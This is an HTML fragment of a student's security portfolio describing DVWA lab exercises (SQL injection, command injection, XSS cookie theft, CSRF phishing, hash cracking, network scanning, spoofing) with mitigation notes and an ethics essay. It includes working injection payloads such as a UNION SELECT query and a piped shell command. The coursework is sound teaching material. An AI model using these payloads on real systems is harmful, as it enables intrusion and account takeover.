id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean 